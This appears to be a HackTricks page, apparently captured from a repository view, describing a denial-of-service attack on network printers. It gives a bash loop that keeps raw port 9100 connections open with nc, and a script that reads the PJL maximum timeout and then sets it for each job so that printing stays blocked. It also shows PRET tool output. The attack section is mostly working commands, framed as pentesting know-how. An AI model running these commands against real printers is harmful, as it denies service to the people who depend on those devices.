74 lines
4.7 KiB
Markdown
74 lines
4.7 KiB
Markdown
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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If print jobs are processed in series – which is assumed for most devices – only one job can be handled at a time. If this job does not terminate the printing channel effectively is blocked until a timeout is triggered, preventing legitimate users from printing.
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Basic DoS:
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```bash
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while true; do nc printer 9100; done
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```
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This trivial denial of service attack can be improved by **setting a high timeout value with PJL**, then the number of connections for an attacker to make is minimized while it is even harder for legitimate users to gain a free time slot:
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```bash
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# get maximum timeout value with PJL
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MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
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grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
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# connect and set maximum timeout for current job with PJL
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while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done
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```
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You can use [PRET](https://github.com/RUB-NDS/PRET) to find the timeout settings:
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```bash
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./pret.py -q printer pjl
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Connection to printer established
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Welcome to the pret shell. Type help or ? to list commands.
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printer:/> env timeout
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TIMEOUT=15 [2 RANGE]
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5
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300
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```
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While the PJL reference specifies a maximum timeout of 300 seconds, in practice maximum PJL timeouts may range from 15 to 2147483 seconds.\
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Note that even print jobs received from other printing channels like IPP or LPD are not processed anymore as long as the connection is kept open.
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**Learn more about this attack in** [**http://hacking-printers.net/wiki/index.php/Transmission\_channel**](http://hacking-printers.net/wiki/index.php/Transmission\_channel)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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